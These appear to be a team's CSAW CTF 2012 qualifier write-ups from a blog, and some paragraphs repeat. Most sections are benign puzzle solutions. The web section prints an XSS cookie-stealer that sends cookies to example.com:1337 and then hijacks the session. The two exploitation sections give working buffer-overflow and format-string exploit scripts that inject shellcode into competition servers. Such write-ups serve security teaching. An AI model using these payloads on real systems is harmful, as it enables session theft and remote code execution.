Quite a simple challenge.
When you put the version1 file into a program called tweakPNG, it gave you an error for the wrong checksum at a certain location. That checksum was for the name takeuchi gregory. Given the picture was a picture of words saying “one of these things is not like the other,” I assumed that the wrong checksum is what made that name different, and that that name was the key. It was.
-- syreal
Tuesday, October 2, 2012
CSAW CTF Quals: Reversing 400
Right from the start, we popped the ELF into a VM and decided to run it. Doing this, we see that it pops out with an encrypted key.
Assuming this is like reversing 100, we decided to pop it into IDA and see if we could spot a Decrypt function.
When you first open the ELF in IDA, it looks something like this:
Scrolling down, we see where it encrypts and kicks out. Directly after, there’s a decryption function that never gets touched…
Looks like another NOP patch to me…
Note: To get this menu to show up in IDA, edit idagui.cfg to include the line:
And viola:
-- d1r3w0lf
Assuming this is like reversing 100, we decided to pop it into IDA and see if we could spot a Decrypt function.
When you first open the ELF in IDA, it looks something like this:
Scrolling down, we see where it encrypts and kicks out. Directly after, there’s a decryption function that never gets touched…
Looks like another NOP patch to me…
Note: To get this menu to show up in IDA, edit idagui.cfg to include the line:
DISPLAY_PATCH_SUBMENU = YES
Patch over 4006BE with some nops and commit the changes.And viola:
-- d1r3w0lf
CSAW CTF Quals: Web 400
This challenge was apparently the organizers' crypto challenge for this year (and thank goodness 'cause last year's were a little too easy). The important thing this year is that it also involved a bit of XSS, but first you had to beat the crypto.
In this particular case, you didn't need to know how the crypto worked, you just had to notice the pattern. The crypto was a rolling crypto that encoded each chunk with a certain number of cycles so that you need to decrypt your payload 2*length_of_payload/8 - 1 times before it is unencrypted. This means that you need to unencrypt your XSS attack 2*length_of_payload/8-2 times before you send it to your target (Dog) so that he will execute your script. We just encoded a simple cookie stealer type attack and set up a netcat listener at our IP Address. It is important to note that your payload must be a length of modulo 8 (this the extra spaces inside the script tags).
In summary, lots of encryption and decryption of messages, a bit of XSS and you win! Cool challenge, lots of work.
-- suntzu_II
In this particular case, you didn't need to know how the crypto worked, you just had to notice the pattern. The crypto was a rolling crypto that encoded each chunk with a certain number of cycles so that you need to decrypt your payload 2*length_of_payload/8 - 1 times before it is unencrypted. This means that you need to unencrypt your XSS attack 2*length_of_payload/8-2 times before you send it to your target (Dog) so that he will execute your script. We just encoded a simple cookie stealer type attack and set up a netcat listener at our IP Address. It is important to note that your payload must be a length of modulo 8 (this the extra spaces inside the script tags).
<script>document.location=\"http://example.com:1337/index.php?cookie=\" + document.cookie; </script>It is a serious pain to do all of this by hand, however, because the web browser encrypts to some weird characters and has trouble trying to display a lot of characters. I solved this by writing a python script which made three seperate request. First it would make a post request to create the message for myself to read. It would then make a request to the inbox page so that it could read which message is new. Finally it would get the results of the message. This greatly sped u8p the process of getting a good message to send. The python script is shown below.
import urllib2, urllib, time
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6'))
#f = opener.open("http://128.238.66.214/download.php?id=11534")
text = open('last_msg', 'rb').read().strip('\x0a')
#text = open('maybe_key', 'rb').read()
#text = ""
url = 'http://128.238.66.214/compose.php'
values = {
'to' : "bobby",
'key' : "Catsareawesome",
'title' : "Ok.jpg, encoded my key with your",
'text' : text
}
data = urllib.urlencode(values)
# req = urllib2.Request(url+data, None, header) # GET works fine
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
header = { 'User-Agent' : user_agent, 'Cookie' : 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6' }
req = urllib2.Request(url, data, header) # POST request doesn't not work
response = urllib2.urlopen(req)
print 'Request sent sleeping'
time.sleep(1)
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6'))
#f = opener.open("http://128.238.66.214/download.php?id=11534")
url = 'http://128.238.66.214/inbox.php'
f = opener.open(url)
downloadURL = f.read().split('')[1].split(' ')[0].split('a href="')[1].split('"')[0].strip('\x0a\x0d')
f = opener.open('http://128.238.66.214/'+downloadURL)
open('last_msg','w').write( f.read().split('')[1].split('')[0].strip('\x0a\x0d') )
Now that we have sent Dog a message that sends us his cookie, we are halfway there. We must now become Dog. We set our PHP session id to the stolen cookie and become Dog. We were very sad to see that the key was not immediately found in the webpage. We did however, see a bunch of messages between Cat and Dog. We had to find the correct keys and decrypt the messages between the two, and one of them had the key.In summary, lots of encryption and decryption of messages, a bit of XSS and you win! Cool challenge, lots of work.
-- suntzu_II
CSAW CTF Quals: Networking 400
This challenge was so much simpler than we tried to make it. We ended up solving all but this challenge in the first 19 hours of the competition (minus the extra few challenges they put up at the 24 hour point) and we spent the rest of the competition mangling this pcap in every which way. We wrote a script which corrected all of the CRC's in the pcap so that it was readable by wireshark and tshark. We took the data and started messing with all of the voltages and such. But all of this is completely barking up the wrong tree.
It turns out that the pcap given to us is a copy of one on the wireshark website with all of the dates changed (which broke the checksums). The link is provided below.
Wireshark pcap
At this point we started looking at all of the differences between the files. We tried looking at all the hex values, tried xoring things, but none of it worked. Finally, someone on our team noticed that, aside from the final packet from 1970, every single other packet was from one of two dates, the 21st or 22nd of december. If you take every date from the pcap in order and assign a 0 or a 1 based on the date of the packet, then you end up with an ASCII string that is in binary. Just plug it into a translator, truncate the result to 128 characters (because the website told us to) and submit! That is all there is to it....
-- suntzu_II
It turns out that the pcap given to us is a copy of one on the wireshark website with all of the dates changed (which broke the checksums). The link is provided below.
Wireshark pcap
At this point we started looking at all of the differences between the files. We tried looking at all the hex values, tried xoring things, but none of it worked. Finally, someone on our team noticed that, aside from the final packet from 1970, every single other packet was from one of two dates, the 21st or 22nd of december. If you take every date from the pcap in order and assign a 0 or a 1 based on the date of the packet, then you end up with an ASCII string that is in binary. Just plug it into a translator, truncate the result to 128 characters (because the website told us to) and submit! That is all there is to it....
-- suntzu_II
CSAW CTF Quals: Networking 300
In this challenge all they gave was a pcap file called dongle.pcap that was a network capture of usb traffic. It took us a while to figure out what was happening until we found a packet where the device sending all the traffic identified itself by vendor and device ID. From here we did a simple google search and found that the device was a Teensyduino Keyboard. We downloaded the code that goes along with this device and were able to make a mapping of bytes to keystrokes. The tshark command used was:
-- suntzu_II
tshark -r dongle.pcap -R "usb.transfer_type == 1 && usb.endpoint_number.direction == 1 && usb.device_address == 26" -T fields -e usb.capdata > usbdataThis command put all of the usb traffic data into a file called usbdata. Then we made a python script which parsed the data and converted it into keystrokes.
import binascii
data = open('bob', 'r').read().split('\n')
keys = {"4":"A","5":"B","6":"C","7":"D","8":"E","9":"F","10":"G","11":"H","12":"I","13":"J","14":"K","15":"L","16":"M","17":"N","18":"O","19":"P","20":"Q","21":"R","22":"S","23":"T","24":"U","25":"V","26":"W","27":"X","28":"Y","29":"Z","30":"1","31":"2","32":"3","33":"4","34":"5","35":"6","36":"7","37":"8","38":"9","39":"0","40":"ENTER","41":"ESC","42":"BACKSPACE","43":"TAB","44":"SPACE","45":"MINUS","46":"EQUAL","47":"LEFT_BRACE","48":"RIGHT_BRACE","49":"BACKSLASH","50":"NUMBER","51":"SEMICOLON","52":"QUOTE","53":"TILDE","54":"COMMA","55":"PERIOD","56":"SLASH","57":"CAPS_LOCK","58":"F1","59":"F2","60":"F3","61":"F4","62":"F5","63":"F6","64":"F7","65":"F8","66":"F9","67":"F10","68":"F11","69":"F12","70":"PRINTSCREEN","71":"SCROLL_LOCK","72":"PAUSE","73":"INSERT","74":"HOME","75":"PAGE_UP","76":"DELETE","77":"END","78":"PAGE_DOWN","79":"RIGHT","80":"LEFT","81":"DOWN","82":"UP","83":"NUM_LOCK","84":"EYPAD_SLASH","85":"EYPAD_ASTERIX","86":"EYPAD_MINUS","87":"EYPAD_PLUS","88":"EYPAD_ENTER","89":"EYPAD_1","90":"EYPAD_2","91":"EYPAD_3","92":"EYPAD_4","93":"EYPAD_5","94":"EYPAD_6","95":"EYPAD_7","96":"EYPAD_8","97":"EYPAD_9","98":"EYPAD_0","99":"EYPAD_PERIOD",}
bob = ''
counter = 0
for line in data:
if ':' in line:
counter += 1
l_bytes = line.split(':')
breakout = True
for i in l_bytes:
if not i == '00':
breakout = False
if not breakout:
#print l_bytes
if l_bytes[0] == '02':
print 'SHIFT',
val = int(l_bytes[2],16)
print keys[str(val)],
When we run this program, it outputs the following file. (It has been prettified).
rxterm -geometry 12x1+0+0 ENTER echo K ENTER
rxterm -geometry 12x1+75+0 ENTER echo E ENTER
rxterm -geometry 12x1+150+0 ENTER echo Y ENTER
rxterm -geometry 12x1+225+0 ENTER echo { ENTER
rxterm -geometry 12x1+300+0 ENTER echo C ENTER
rxterm -geometry 12x1+375+0 ENTER echo 4 ENTER
rxterm -geometry 12x1+450+0 ENTER echo 8 ENTER
rxterm -geometry 12x1+525+0 ENTER echo B ENTER
rxterm -geometry 12x1+600+0 ENTER echo A ENTER
rxterm -geometry 12x1+675+0 ENTER echo 9 ENTER
rxterm -geometry 12x1+0+40 ENTER echo 9 ENTER
rxterm -geometry 12x1+75+40 ENTER echo 3 ENTER
rxterm -geometry 12x1+150+40 ENTER echo D ENTER
rxterm -geometry 12x1+225+40 ENTER echo 3 ENTER
rxterm -geometry 12x1+300+40 ENTER echo 5 ENTER
rxterm -geometry 12x1+450+40 ENTER echo C ENTER
rxterm -geometry 12x1+375+40 ENTER echo 3 ENTER
rxterm -geometry 12x1+525+40 ENTER echo A ENTER
rxterm -geometry 12x1+600+40 ENTER echo } ENTER
We got stuck here for a while because this key did not work. Eventually, we got a fresh pair of eyes that noticed the 'C' and the '3' needed to be switch because of where the window appears with the geometry offsets of the xterm commands. The final key was: key{c48ba993d353ca}.
-- suntzu_II
CSAW CTF Quals: Exploitation 500
This challenge was basically a trivia game where it asked you a question and you could get it right or wrong. If you got it wrong it would ask you the question again and you could overflow a buffer on the second send. For the life of me, I cannot figure out a good reason for them to be copy the number of bytes received from a large buffer into a smaller buffer, but they do it. So when they copy everything in the second question, we can just overwrite the return address of this method. The relevant code is shown below.
-- suntzu_II
char buf[76];
char last_buf[0x28];
char huge_buf[0x400];
num_recvd = 0;
num_recvd = recv(fd, &buf, 0×7Cu, 0);
addn(&buf, num_recvd);
v6 = v(&buf);
if ( v6 == 1 )
{
win(fd);
close(fd);
exit(0);
}
lose(fd);
sques(fd, 2);
num_recvd = recv(fd, huge_buf, 0×400u, 0);
addn(huge_buf, num_recvd);
// This is the important line
memcpy(&last_buf, huge_buf, 4 * ((unsigned int)num_recvd >> 2));
v6 = v(&last_buf);
if ( v6 == 1 )
{
win(fd);
close(fd);
exit(1);
}
return lose(fd);
After that it was a simple ROP-style attack where we called recv to a RWX section of memory located at 0x0804B000. Send in some shellcode and win! Our winning python script, win.py, is shown below.
import socket, binascii, time
def recv(s):
print s.recv(1024)
def endian(s):
if len(s) < 8:
s = s.zfill(8)
return s[6:8]+s[4:6]+s[2:4]+s[0:2]
def int2hex(integer):
if integer < 0:
integer = 0xFFFFFFFF+integer+1
return hex(integer)[2:].zfill(8).strip('L')
s = socket.socket()
#s.connect(('10.19.0.29', 12345))
s.connect(('128.238.66.213', 12345))
recv(s)
s.send('A'*0x7B+'\n')
recv(s)
sh = open('payload').read()
win = 'a'*60
win += binascii.unhexlify(endian('08048760')) # Address of recv
win += binascii.unhexlify(endian('0804B000')) # Return address from recv
win += binascii.unhexlify(endian(int2hex(4))) # Put our fd on stack
win += binascii.unhexlify(endian('0804B000')) # Put address to recv to on stack
win += binascii.unhexlify(endian(int2hex(len(sh)+1))) # Length of recv
win += binascii.unhexlify(endian(int2hex(0))) # recv flags
win += '\n'
print win, len(win)
s.sendall(win) # send our payload
time.sleep(1)
s.sendall(sh+'\n') # send our shellcode to the recv we set up
-- suntzu_II
Monday, October 1, 2012
CSAW CTF Quals: Exploitation 400
First, before we begin, I must say this. THIS IS NOT A STRING FORMAT ATTACK! Kind of. It turns out that this challenge has a format string that we can use to generate more characters than the buffer can handle, leading to an overwriting of a return address, giving us control of EIP. The real trick with this one is figuring out where to put stuff in this attack.
The way that we used the format string to overflow the stack was by using '%8c' within our payload. This writes 8 garbage characters, but takes up far fewer bytes of the recv than that. This let us write a lot of characters to the buffer and overflow it. But what to do with the return address?
We kind of derped around a bit trying to do a recv to a big chunk RWX memory in the program but ran into a lot of troubles with null bytes (because it's doing string operations). We eventually realized that there was a reference to the buffer that our initial sent payload at the constant address 0x0804b120 and since the stack is executable, we could just return there to win.
The last thing to try to bypass is the protections within the program against having any string like /bin/sh inside the payload we send. msfvenom was producing some pretty terrible shellcode, so we just wrote our own that did some math to eventually get the stack to have /bin/sh in it after the program checked our payload.
Our winning python script, win.py, is shown below.
-- suntzu_II
The way that we used the format string to overflow the stack was by using '%8c' within our payload. This writes 8 garbage characters, but takes up far fewer bytes of the recv than that. This let us write a lot of characters to the buffer and overflow it. But what to do with the return address?
We kind of derped around a bit trying to do a recv to a big chunk RWX memory in the program but ran into a lot of troubles with null bytes (because it's doing string operations). We eventually realized that there was a reference to the buffer that our initial sent payload at the constant address 0x0804b120 and since the stack is executable, we could just return there to win.
The last thing to try to bypass is the protections within the program against having any string like /bin/sh inside the payload we send. msfvenom was producing some pretty terrible shellcode, so we just wrote our own that did some math to eventually get the stack to have /bin/sh in it after the program checked our payload.
Our winning python script, win.py, is shown below.
import socket, binascii
def recvUntil(socket,until):
string = ""
while not until in string:
string += socket.recv(1)
print string
return string
def dofmt(string, returnStdout=True):
s = socket.socket()
s.connect(('128.238.66.213', 23456))
recvUntil(s,"Saying: ")
string = string.replace("$","\$")
string = string.replace('"','\\"')
s.sendall(string+'\n')
return 'bob'
def endian(s):
if len(s) < 8:
s = s.zfill(8)
return s[6:8]+s[4:6]+s[2:4]+s[0:2]
shellcode = open('payload').read()
win = shellcode
win += '%8c'*(65-(len(shellcode)/8))+'aa'
win += binascii.unhexlify(endian('0804B120'))
print win
dofmt(win)
-- suntzu_II
Subscribe to:
Posts (Atom)




